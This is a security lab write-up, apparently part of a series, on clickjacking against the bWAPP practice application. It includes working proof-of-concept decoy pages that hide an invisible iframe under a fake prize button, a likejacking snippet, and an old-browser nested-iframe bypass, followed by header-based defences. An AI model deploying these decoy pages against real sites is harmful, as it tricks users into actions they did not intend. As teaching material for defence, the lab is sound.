🧪 11 — Clickjacking

Clickjacking

OWASP: A05 - Security Misconfiguration | **CWE**: CWE-1021 | **Severity**: 🟡 Medium

---

📖 Description

Clickjacking (UI Redressing) tricks users into clicking something different from what they perceive. The attacker overlays a transparent iframe of the target site over a decoy page. When the victim clicks what they think is a button on the attacker's page, they're actually clicking a button on the hidden target page.

🔍 Affected Endpoint

```
http://localhost/bWAPP/clickjacking_1.php
http://localhost/bWAPP/clickjacking_2.php
```

⚠️ Security Level: LOW

Test: Can the page be iFramed?

```
# Check response headers for X-Frame-Options
curl -I http://localhost/bWAPP/clickjacking_1.php
# If no X-Frame-Options header -> vulnerable to clickjackin
g
```

PoC — Basic Clickjacking Page

```
<!DOCTYPE html>
<html>
```

```html
<head>
  <title>WIN A FREE iPHONE!</title>
  <style>
    iframe {
      position: absolute;
      width: 800px;
      height: 600px;
      opacity: 0.0001;  /* Near invisible */
      z-index: 2;
      top: 0;
      left: 0;
    }
    .decoy {
      position: absolute;
      top: 100px;
      left: 200px;
      font-size: 24px;
      z-index: 1;
    }
  </style>
</head>
<body>
  <!-- Invisible target iframe -->
  <iframe src="http://localhost/bWAPP/clickjacking_1.php">
</iframe>

  <!-- Decoy content victim sees -->
  <div class="decoy">
    <h1>You're a WINNER! Click the button below!</h1>
    <button style="font-size:20px;padding:10px">CLAIM PRIZE
</button>
  </div>
</body>
</html>
```

PoC — Likejacking (Facebook-style)

```
<iframe src="http://target.com/like_page" style="opacity:0;
position:absolute;top:50px;left:100px;width:100px;height:50
px;"></iframe>
<button style="position:absolute;top:50px;left:100px">Read
News Article</button>
```

⚠️ Security Level: MEDIUM

Defense Applied

X-Frame-Options: SAMEORIGIN header set (allows framing from same origin only).

Check

```
curl -I http://localhost/bWAPP/clickjacking_1.php
# X-Frame-Options: SAMEORIGIN
```

Bypass (in some older browsers)

```
<!-- Double-nested iframe bypass (old browsers only) -->
<iframe src="data:text/html,<iframe src='http://target.co
m'></iframe>">
```

⚠️ Security Level: HIGH

Defense Applied

CSP with `frame-ancestors 'none'` + X-Frame-Options: DENY

```
Content-Security-Policy: frame-ancestors 'none'
X-Frame-Options: DENY
```

✅ Remediation

1. **X-Frame-Options: DENY** — prevent all framing

2. **CSP frame-ancestors**: `Content-Security-Policy: frame-ancestors 'self'`
3. **Frame-busting JS** (legacy approach, not recommended as sole defense)

```
header('X-Frame-Options: DENY');
header("Content-Security-Policy: frame-ancestors 'none'");
```

📚 References

- CWE-1021: https://cwe.mitre.org/data/definitions/1021.html
- OWASP Clickjacking: https://owasp.org/www-community/attacks/Clickjacking